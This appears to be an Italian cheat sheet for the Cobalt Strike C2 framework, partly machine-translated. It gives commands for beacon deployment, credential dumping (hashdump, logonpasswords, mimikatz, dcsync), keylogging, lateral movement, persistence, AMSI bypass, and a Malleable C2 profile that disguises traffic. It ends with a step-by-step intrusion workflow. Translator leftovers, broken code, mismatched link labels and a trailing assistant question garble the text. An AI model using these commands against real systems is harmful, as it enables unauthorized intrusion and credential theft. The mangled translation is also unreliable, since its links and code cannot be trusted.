Panoramica
Cobalt Strike è una piattaforma commerciale di test di penetrazione e operazioni di red team progettata per emulare attori di minacce avanzate. Fornisce un framework post-sfruttamento che consente agli operatori di distribuire beacon (agenti) su sistemi compromessi, stabilire canali di comando e controllo (C2) ed eseguire varie operazioni di sicurezza offensiva.
⚠️ Avvertenza: Cobalt Strike è uno strumento commerciale di test di sicurezza che dovrebbe essere utilizzato solo in ambienti per i quali si dispone di autorizzazione esplicita.
Componenti Principali
Team Server
- Server centrale di comando e controllo
- Funziona su Linux
- Gestisce beacon e listener
- Fornisce collaborazione per operazioni di team
Client
- Applicazione GUI basata su Java
- Si connette al Team Server
- Interfaccia per gli operatori per interagire con i beacon
- Visualizza reti target
Beacon
- Payload primario per post-sfruttamento
- Stabilisce comunicazione con Team Server
- Fornisce varie capacità per operazioni offensive
- Può operare in diverse modalità di comunicazione
Configurazione e Installazione
Configurazione Team Server
# Start the Team Server
./teamserver <ip_address> <password> [malleable_c2_profile]
# Example
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
Configurazione Client
1. Launch the Cobalt Strike client
2. Connect > New Connection
3. Enter Team Server details:
- Host: <team_server_ip>
- Port: 50050 (default)
- User: <username>
- Password: <password>
4. Verify SSL certificate fingerprint
Listener
Creazione Listener
1. Cobalt Strike > Listeners
2. Click "Add"
3. Configure listener settings:
- Name: <listener_name>
- Payload: <beacon_type>
- Host: <callback_domain_or_ip>
- Port: <port_number>
- Profile: <malleable_c2_profile>
4. Click "Save"
Tipi di Listener
| Tipo | Descrizione |
|---|
| HTTP | Utilizza HTTP per la comunicazione C2 |
| HTTPS | Utilizza HTTPS per la comunicazione C2 |
| DNS | Utilizza query DNS per C2 nascosto |
| SMB | Utilizza named pipes per C2 peer-to-peer |
| TCP | Utilizza connessioni TCP dirette |
| Foreign | Si integra con altri framework C2 |
Generazione Payload
Tipi di Payload Beacon
Attacks > Packages > <payload_type>
| Tipo di Payload | Descrizione |
|---|
| Windows Executable | File eseguibile standard .exe |
| Windows Service EXE | Eseguibile del servizio |
| DLL | Dynamic Link Library |
| PowerShell | PowerShell one-liner |
| Python | Script Python |
| Office Macro | Macro per documenti Office |
| Shellcode | Shellcode grezzo |
Artifact Kit
Attacks > Packages > Windows Executable (S)
- Genera payload personalizzati con tecniche di evasione
- Modifica le firme per evitare il rilevamento
- Template personalizzabili
Comandi Beacon
Gestione Sessione
| Comando | Descrizione |
|---|
help | Visualizza informazioni di aiuto |
sleep [seconds] [jitter%] | Imposta tempo di sleep e jitter |
checkin | Forza check-in immediato |
exit | Termina la sessione beacon |
clear | Cancella la coda di attività del beacon |
jobs | Elenca job in esecuzione |
jobkill [JID] | Termina un job in esecuzione |
mode dns | Passa alla modalità DNS |
mode dns-txt | Passa alla modalità DNS-TXT |
mode dns6 | Passa alla modalità DNS6 |
mode http | Passa alla modalità HTTP |
mode smb | Passa alla modalità SMB |
| Comando | Descrizione |
|---|
hostname | Ottieni il nome host |
ipconfig | Visualizza configurazione di rete |
netstat | Visualizza connessioni di rete |
ps | Elencare i processi in esecuzione |
tasklist | Alternativa a ps |
getuid | Ottieni l’ID dell’utente corrente |
whoami | Ottieni informazioni dettagliate dell’utente |
pwd | Stampa directory di lavoro |
drives | Elenca unità disponibili |
dir [directory] | Elenca file nella directory |
ls [directory] | Alternativa a dir |
net [command] | Esegui il comando net |
reg query [path] | Query registry |
sysinfo | Ottieni informazioni di sistema |
Operazioni File
| Comando | Descrizione |
|---|
cd [directory] | Cambia directory |
cp [source] [destination] | Copia un file |
mkdir [directory] | Creare una directory |
mv [source] [destination] | Spostare o rinominare un file |
rm [file] | Eliminare un file |
rmdir [directory] | Eliminare una directory |
cat [file] | Visualizza contenuto file |
download [file] | Scarica un file dal target |
upload [file] | Carica un file su target |
timestomp [file] [template] | Modificare i timestamp dei file |
ls-acl [file] | Elenca i permessi dei file |
Operazioni Processo
| Comando | Descrizione |
|---|
execute [program] | Esegui senza catturare l’output |
shell [command] | Esegui e cattura l’output |
run [program] | Esegui un programma |
runas [user] [password] [program] | Esegui come un altro utente |
pth [user] [domain] [hash] | Pass-the-hash per creare un token |
steal_token [pid] | Rubare token dal processo |
make_token [domain] [user] [password] | Crea un token |
rev2self | Revert to token originale |
getprivs | Abilita privilegi di sistema |
getsystem | Tentativo di ottenere privilegi SYSTEM |
execute-assembly [file.exe] | Esegui assembly .NET in memoria |
powerpick [command] | Esegui PowerShell senza powershell.exe |
powershell [command] | Esegui comando PowerShell |
psinject [pid] [command] | Esegui PowerShell in un processo specifico |
shinject [pid] [arch] [file.bin] | Iniettare shellcode nel processo |
dllinject [pid] [file.dll] | Iniettare DLL nel processo |
dllload [file.dll] | Carica DLL nel processo beacon |
Movimento Laterale
| Comando | Descrizione |
|---|
psexec [target] [listener] | Usa PsExec per distribuire beacon |
psexec_psh [target] [listener] | Utilizzare PsExec con PowerShell |
winrm [target] [listener] | Usa WinRM per distribuire beacon |
wmi [target] [listener] | Usa WMI per distribuire beacon |
ssh [target:port] [user] [pass] [listener] | Usa SSH per distribuire beacon |
ssh-key [target:port] [user] [key] [listener] | Utilizzare SSH con autenticazione tramite chiave |
dcsync [domain] [user] | Utilizzare DCSync per estrarre gli hash delle password |
jump [method] [target] [listener] | Passa al target utilizzando il metodo specificato |
remote-exec [method] [target] [command] | Esegui comando sul sistema remoto |
Pivoting
| Comando | Descrizione |
|---|
rportfwd [bind port] [forward host] [forward port] | Imposta l’inoltro di porta inverso |
rportfwd stop [bind port] | Interrompi port forward inverso |
socks [port] | Avvia server proxy SOCKS |
socks stop | Arresta server proxy SOCKS |
spunnel [host] [port] | Crea tunnel crittografato su SMB |
spunnel stop | Interrompi tunnel crittografato |
covertvpn [interface] [IP/Mask] | Distribuisci l’interfaccia Covert VPN |
covertvpn stop | Ferma Covert VPN |
pivot [host] [port] | Elencare i listener pivot |
pivotlistener [host] [port] | Crea listener pivot |
Post-Sfruttamento
| Comando | Descrizione |
|---|
mimikatz [command] | Esegui comando Mimikatz |
hashdump | Dump password hash |
logonpasswords | Scarica credenziali dalla memoria |
keylogger [pid] | Avvia keylogger |
screenshot [pid] | Scatta screenshot |
screenwatch [pid] | Osserva lo schermo del target |
printscreen | Cattura schermata usando PrintScreen |
reg query [path] | Query registry |
powerview [command] | Esegui comando PowerView |
portscan [targets] [ports] [discovery method] | Scansiona per porte aperte |
browserpivot [pid] [port] | Hijack delle sessioni web autenticate |
chromedump | Scarica i cookie e i dati di accesso di Chrome |
persist [method] [listener] | Configurare la persistenza |
elevate [exploit] [listener] | Tentativo di escalation dei privilegi |
Profili Malleable C2
Struttura Base
# Global options
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
# HTTP staging
http-stager \\\\{
set uri "/jquery-3.3.1.min.js";
client \\\\{
header "Accept" "text/javascript, application/javascript, */*";
\\\\}
server \\\\{
header "Content-Type" "application/javascript";
\\\\}
\\\\}
# HTTP client
http-get \\\\{
set uri "/api/v1/data";
client \\\\{
header "Accept" "application/json";
metadata \\\\{
base64;
prepend "session=";
append ";";
header "Cookie";
\\\\}
\\\\}
server \\\\{
header "Content-Type" "application/json";
output \\\\{
json \\\\{
"status" "success";
"data" "";
\\\\}
prepend "\\\\{\"data\":\"";
append "\"\\\\}";
base64;
\\\\}
\\\\}
\\\\}
Test Profili
# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile
# Start Team Server with profile
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
Script Aggressor
Struttura Base Script
# Event handlers
on beacon_initial \\\\{
println("New beacon: " . $1);
\\\\}
# Aliases (custom commands)
alias hello \\\\{
blog($1, "Hello, World!");
\\\\}
# Menus
popup beacon_bottom \\\\{
item "Custom Command" \\\\{
blog($1, "Executing custom command...");
bshell($1, "whoami");
\\\\}
\\\\}
# Functions
sub get_system_info \\\\{
bshell($1, "systeminfo");
\\\\}
Funzioni Script Comuni
| Funzione | Descrizione |
|---|
blog($1, "message") | Scrivi sulla console beacon |
bshell($1, "command") | Esegui comando shell |
bpowershell($1, "command") | Esegui comando PowerShell |
bpowerpick($1, "command") | Esegui PowerShell senza powershell.exe |
bexecute_assembly($1, "/path/to/file.exe") | Esegui assembly .NET |
bdllspawn($1, "/path/to/file.dll") | Iniettare DLL Reflective |
bpsexec($1, "target", "listener") | Esegui movimento laterale PsExec |
bwmi($1, "target", "listener") | Esegui movimento laterale WMI |
bwinrm($1, "target", "listener") | Esegui movimento laterale WinRM |
Considerazioni OPSEC
Iniezione Processo
# Set parent process for new processes
ppid [pid]
# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe
# Mask command-line arguments
argue [command] [fake arguments]
# Block non-Microsoft DLLs
blockdlls start
blockdlls stop
Tecniche di Evasione
The translation maintains the original structure, markdown formatting, and keeps technical terms in English as requested.```
Obfuscate beacon in memory
sleep_mask [seconds] [jitter%]
stage \\{
set obfuscate “true”;
set stomppe “true”;
set cleanup “true”;
\\}
Disable AMSI
amsi_disable
Use smarter process injection
smartinject
- Create a listener (Cobalt Strike > Listeners)
- Generate a payload (Attacks > Packages)
- Deliver payload to target
- Wait for beacon check-in
- Check current privileges: getuid
- Attempt to get SYSTEM: getsystem
- If unsuccessful, try specific exploits: elevate [exploit] [listener]
- Verify new privileges: getuid
- Dump hashes: hashdump
- Dump credentials from memory: logonpasswords
- Use Mimikatz for advanced options: mimikatz [command]
- Extract domain hashes (if DC): dcsync [domain] [user]
- Identify targets: net view
- Choose lateral movement technique:
- psexec [target] [listener]
- winrm [target] [listener]
- wmi [target] [listener]
- Verify new beacon check-in
- Choose persistence method:
- persist [method] [listener]
- schtasks [options]
- service [options]
- registry [options]
- Verify persistence works
- Document persistence mechanisms for cleanup
https://www.cobaltstrike.com/help-beacon#
# Risorse
- [Documentazione Ufficiale di Cobalt Strike](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
- [Guida Utente di Cobalt Strike](https://github.com/BC-SECURITY/Malleable-C2-Profiles)
- [Profili Malleable C2](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as_aggressor_script.htm)
- [Documentazione di Aggressor Script](https://attack.mitre.org/software/S0154/)
- [Mappatura Cobalt Strike MITRE ATT&CK](
)
Would you like me to provide the full translations or complete the URLs for the resources?